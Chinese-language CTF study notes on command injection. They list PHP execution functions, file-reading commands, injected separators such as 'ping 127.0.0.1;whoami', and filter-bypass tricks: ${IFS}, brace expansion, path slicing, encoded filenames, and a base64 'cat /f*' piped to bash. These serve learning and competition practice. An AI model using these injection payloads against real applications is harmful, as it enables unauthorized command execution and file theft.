命令执行

发布时间 2023-11-13 19:26:11作者: 楚颖i

命令执行


php命令执行函数

system()
passthru()
exec()
shell_exec()
popen()/proc_open()
反引号``

读取文件命令

linux

more : 类似 cat ,不过会一页一页显示(只能向后翻页)
less : 与 more 类似,但可向前翻页
cat  : 
tac  : 从最后一行开始显示,可以看出 tac 是 cat 的反向显示
head : 查看文件开头几行内容(默认10)
tail : 查看文件尾几行
nl   : 显示文件内容的时候,顺便输出行号
od   : 以不同进制的方式读取文件内容
vi   : 一种编辑器,这个也可以查看
vim  : 一种编辑器,这个也可以查看
sort : 对文件排序(输出排序后内容)
uniq : 去除重复行(输出去重后内容)
rev  : 反转每一行内容(每行独立反转,输出反转后内容)
cut  : 输出剪切内容(cut -b 1-10 1.txt),具体用法去搜
sed  : sed p 1.txt
man  : 直接对文本运行可以看到文本内容(未复现成功)
paste: 把每个文件以列对列的方式合并,(一个文件就相当于直接显示原来的)
grep : 查找文件里符合条件的字符串(grep flag 1.txt)
dd   : 可读取文件数据,if=1.txt
diff : 比较两文件(输出不同的地方,需获得另一个文件)
xxd  : 将文件内容转换为某进制

管道符

linux

; 执行完前面语句后,执行后面语句(前面失败也执行) ping 127.0.0.1;whoami

| 显示后面语句结果 ping 127.0.0.1|whoami(前面的命令执行的结果会作为后面命令的输入)

|| 当前面语句出错,执行后面语句(没出错不会执行)

& 前面语句真假都执行后面语句

&& 前面语句为假直接出错,前面为真才执行后面语句

windows

与linux

| 显示后面语句结果 ping 127.0.0.1|whoami

|| 当前面语句出错,执行后面语句(没出错不会执行)

& 前面语句真假都执行后面语句

&& 前面语句为假直接出错,前面为真才执行后面语句


> 输入(覆盖),>> 追加

< file.txt # 将 file.txt 文件的内容作为 cat 命令的输入 ,<< +多行文本


绕过

文章

CTF里读取文件相关知识点总结 - 先知社区 (aliyun.com)


空格绕过

{} : 用于生成和展开一系列的字符串或命令参数

echo {apple,banana,orange}  # 输出: apple banana orange
{cat,/flag} == cat /flag

$:变量引用($HOME:家目录)、命令替换($(data:日期))、环境变量引用($IFS)、其他($'\132':解析编码(ANSI-C转义))

<  <>   %20(space)  %09(tab)  %0a(\n)
$IFS $IFS$1 $IFS$9 ${IFS} 

${IFS} 是在Shell中使用变量替换,当Shell遇到${IFS}时,它会将${IFS}替换为环境变量$IFS的值


无字母数字绕过

利用shell脚本变量构造无字母数字命令 - 先知社区 (aliyun.com)


$补充

shell脚本中$的多种用法

变量名 含义
$0 脚本本身的名字
$1 脚本后所输入的第一串字符
$2 传递给该shell脚本的第二个参数
$* 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@ 脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_ 表示上一个命令的最后一个参数
$# #脚本后所输入的字符串个数
$$ 脚本运行的当前进程ID号
$! 表示最后执行的后台命令的PID
$? 显示最后命令的退出状态,0表示没有错误,其他表示由错误

数字绕过

bash对于整数的表示形式是[base#]n的形式,比方说如果一个十进制数4,可以表示为二进制数100,那么在bash里可以表示为2#100

${##} 表示当前命令行参数的个数,${##}是1:#是计算字符串长度,两个#中,第一个#是计算字符串长度 第二个#是字符串的名字。$#的值是0,字符串长度为1,所以${##}是1(不确定是不是这样解释)


/绕过

${PATH:0:1}    //切片操作,取path的第一个字符/

${PWD:0:1}、${HOME:0:1}、${SHELL:0:1},可以取其它替代


文件名

cat /f* *匹配任意个字符

cat /f??? ? 匹配一个字符

cat /[9-q][9-q][9-q][9-q] 正则匹配[...]

cat /$'\146\154\141\147' 编码转换

echo "Y2F0IC9mKg==" | base64 -d |bash 管道符利用 -d为解码 最后给bash解释执行(可用其他编码)

linux里,ca''t、ca\t、ca""t和cat是等效的

b=ag;a=fl;cat $a$b